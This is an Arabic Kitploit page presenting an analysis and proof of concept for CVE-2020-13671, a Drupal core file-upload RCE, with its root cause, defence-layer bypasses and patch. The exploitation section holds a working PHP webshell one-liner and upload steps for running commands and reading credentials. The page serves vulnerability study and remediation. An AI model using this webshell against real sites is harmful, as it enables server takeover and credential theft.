Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-13671 — تحليل مفصّل وإثبات مفهوم لـ CVE-2020-13671، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في نواة Drupal عبر رفع الملفات، بما في ذلك السبب الجذري وخطوات الاستغلال والإصلاح. | Kitploit
أدوات/GitHubGitHub/dungsocool/cve-2020-13671
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubdungsocool/cve-2020-13671

CVE-2020-13671

تحليل مفصّل وإثبات مفهوم لـ CVE-2020-13671، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في نواة Drupal عبر رفع الملفات، بما في ذلك السبب الجذري وخطوات الاستغلال والإصلاح.

عرض المستودع
منذ 3 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-13671

RCE عبر رفع الملفات — Drupal Core

البرنامج: Drupal Core 8.7.5 (المتأثر: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (عالية)
CWE: CWE-434 — رفع ملف دون قيود بنوع خطير
CISA KEV: نعم — ثغرة معروفة ومستغلة
النشرة: SA-CORE-2020-012


ما هو دروبال

دروبال هو نظام إدارة محتوى (CMS) مفتوح المصدر مكتوب بلغة PHP، يشبه WordPress أو Joomla لكنه يميل نحو بناء أنظمة أكثر تعقيدًا — مواقع المؤسسات، والمنصات متعددة اللغات. يعتمد دروبال على بنية معيارية (Modular)، تتيح توسيع الوظائف عبر تفعيل/تعطيل الوحدات المتاحة أو تثبيت وحدات إضافية من المجتمع.

من الوظائف الأساسية لأي نظام إدارة محتوى السماح للمستخدمين برفع الملفات — الصور الرمزية للملف الشخصي، المستندات المرفقة، المرفقات في المقالات. يحفظ دروبال هذه الملفات في دليل sites/default/files/ ويقدّمها مباشرة عبر خادم الويب (Apache أو Nginx).

⇒ هذا يخلق سطح هجوم واضحًا: إذا تمكن المهاجم من رفع ملف PHP في ذلك الدليل، فسينفذه خادم الويب عند الوصول إليه عبر طلب وارد.

لمنع ذلك، يبني دروبال عدة طبقات دفاع: التحقق من امتدادات الملفات، إعادة تسمية الملفات الخطيرة، وضع .htaccess لمنع تنفيذ السكربتات في دليل الرفع. لكن في الإصدار 8.7.5، يستغل المهاجمون نقطة عمياء محددة عبر هذه الطبقات.

شروط الاستغلال

تتطلب هذه الثغرة حسابًا يملك صلاحيات رفع الملفات. افتراضيًا في Drupal 8.7.5، المستخدمون العاديون (Authenticated) لديهم صلاحيات فقط لعرض المحتوى ونشر التعليقات — لا يملكون صلاحية إنشاء مقالات أو رفع ملفات.

الحسابقابل للاستغلال؟الشرح
المسؤولنعمصلاحيات رفع كاملة
المحرّر / منشئ المحتوىنعمإذا مُنح صلاحية «إنشاء محتوى» مع رفع الملفات من قِبل المسؤول
المستخدم الموثّق (الافتراضي)لاافتراضيًا لا يملك صلاحية إنشاء محتوى أو رفع ملفات
مجهول (غير مسجّل الدخول)لالا صلاحية رفع

ومع ذلك، في الممارسة العملية، تمنح العديد من مواقع دروبال صلاحيات إنشاء المحتوى للمستخدمين العاديين (المنتديات، مدونات المجتمع، مواقع الأخبار التي تسمح بإرسال المقالات). في هذه الحالات، يحتاج المهاجم فقط إلى تسجيل حساب لاستغلال الثغرة.

مسار الهجوم:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

السبب الجذري ( ROOT CAUSE )

في الملف core/modules/file/file.module، يوجد regex وحيد يحدد الملفات التي تُعتبر قابلة للتنفيذ:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

يسرد هذا regex 7 امتدادات: phar, php, pl, py, cgi, asp, js. أي ملف بامتداد يطابق هذه القائمة سيُلحق به .txt تلقائيًا بواسطة دروبال — مما يحيد القدرة على التنفيذ.

لكن محرك PHP لا يعالج ملفات .php فقط. اعتمادًا على إعدادات خادم الويب، فإنه يتعرف أيضًا على امتدادات أخرى وينفذها:

الامتدادالمعنىمشمول في regex؟
.phpPHP قياسينعم
.phtmlقالب PHP بديللا
.php5معالج PHP 5لا
.phtقالب PHPلا
.phpsشفرة PHP المصدريةلا
.shtmlتضمينات من جانب الخادم (Server-Side Includes)لا

5 أشكال من امتدادات PHP غائبة تمامًا عن regex. هذا يعني أن ملفًا باسم shell.phtml يُرسل إلى دروبال ← regex لا يطابقه ← لا يُعاد تسميته ← يُحفظ باسمه الأصلي في دليل الرفع ← يرى خادم الويب الامتداد .phtml ← ينفذه بصيغة PHP ← يحقق المهاجم RCE. هذا هو السبب الجذري: استخدم دروبال قائمة سوداء لحظر الامتدادات الخطيرة، لكن تلك القائمة كانت غير مكتملة.

تحليل كل طبقة من طبقات الدفاع

عندما يرفع المستخدم ملفًا، يمرره دروبال عبر 3 دوال تحقق قبل الحفظ. فيما يلي تحليل لسبب فشل الثلاث جميعًا مع .phtml.

الطبقة 1 — file_munge_filename() (core/includes/file.inc)

الغرض: كشف الامتدادات الخطيرة الموجودة في منتصف اسم الملف وإلحاق _ لتعطيلها. كيف تعمل الدالة:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

على سبيل المثال مع shell.phtml:

  • explode يقسم إلى ["shell", "phtml"]
  • shift يأخذ "shell"، تاركًا ["phtml"]
  • pop يأخذ "phtml"، تاركًا []
  • المصفوفة الوسطى فارغة ← foreach لا ينفَّذ
  • تُرجع "shell.phtml" كما هي

لكن إذا كان الملف يحمل امتدادًا واحدًا فقط، فإنها لا تتدخل. وبالتالي، صُممت هذه الدالة فقط للتعامل مع الملفات متعددة الامتدادات.

الطبقة 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

هذه هي طبقة الدفاع الرئيسية. الكود عند السطر 1015:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

إذا طابق اسم الملف regex ← يتم تغيير نوع MIME إلى text/plain وإلحاق .txt في النهاية.

مع shell.phtml:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') يُرجع 0
  • لا يوجد تطابق ← لا يدخل إلى كتلة if ← يحتفظ الملف باسمه الأصلي وبالتالي، كان ينبغي لهذا القسم حظر الملفات الخطيرة، لكن لأن regex لا يعرف أن .phtml خطير، فإنه ينفذ مباشرة.

الطبقة 3 — .htaccess في دليل الرفع

يضع دروبال ملف .htaccess في sites/default/files/:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

توجيه php_flag engine off يوقف محرك PHP للدليل بأكمله، لكنه ينطبق فقط على mod_php5. يعمل Drupal 8.7.5 على PHP 7، مما يعني أن mod_php7 نشط وغير معطَّل.

كما أن لدى .htaccess 3 نقاط ضعف أخرى:

  • Nginx لا يقرأ .htaccess — هذا الملف غير فعّال تمامًا على Nginx
  • Apache المُهيأ بـ AllowOverride None ← يتم تجاهل .htaccess
  • الخوادم التي تستخدم PHP-FPM بدلًا من mod_php ← توجيه php_flag لا تأثير له

الاستغلال

الخطوة 1 — إنشاء webshell

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

الخطوة 2 — رفع الملف

سجّل الدخول إلى دروبال بحساب يملك صلاحيات الرفع ← المحتوى ← إضافة محتوى ← مقال ← في حقل الصورة، حدد الملف webshell.phtml ← رفع.

يقبل دروبال الملف، ولا يعيد تسميته، ويحفظه باسمه الأصلي في sites/default/files/.

image.png

الخطوة 3 — تنفيذ webshell

بعد ذلك، نفّذ استدعاء الشل مع whoami:

image.png

وهكذا، نجحنا في تحقيق RCE بصلاحيات www-data.

مزيد من الاختبارات لعرض بيانات الاعتماد:

image.png

النتيجة

يمكن للمهاجم قراءة settings.php الذي يحتوي على بيانات اعتماد قاعدة البيانات، وتفريغ قاعدة البيانات بالكامل، أو تثبيت شل عكسي (reverse shell)، أو تصعيد الصلاحيات إلى الجذر (root).

المعالجة

حدّث regex — أضف الامتدادات الخمسة المفقودة:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

حدّث .htaccess — أضف تعطيلًا لـ mod_php7:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

يعمل التصحيح لكنه ما زال يعتمد على قائمة سوداء. إذا ظهرت امتدادات جديدة في المستقبل (.php8, .phpt)، فستحتاج regex إلى تحديث مرة أخرى. القائمة البيضاء — السماح فقط بالامتدادات الآمنة المعروفة — ستكون نهجًا أكثر شمولًا.

الملخص

الملف القابل للاستغلالcore/modules/file/file.module السطر 28
السبب الجذريقائمة regex السوداء تفتقد إلى .phtml, .php5, .pht, .phps, .shtml
الأثررفع .phtml ← ينفذه الخادم ← RCE
طبقات الدفاع الثلاث التي تم تجاوزهاfile_munge_filename() ← FILE_INSECURE_EXTENSION_REGEX ← .htaccess
التصحيحإضافة 5 امتدادات إلى regex + تعطيل mod_php7 في .htaccess
تنزيل الأداة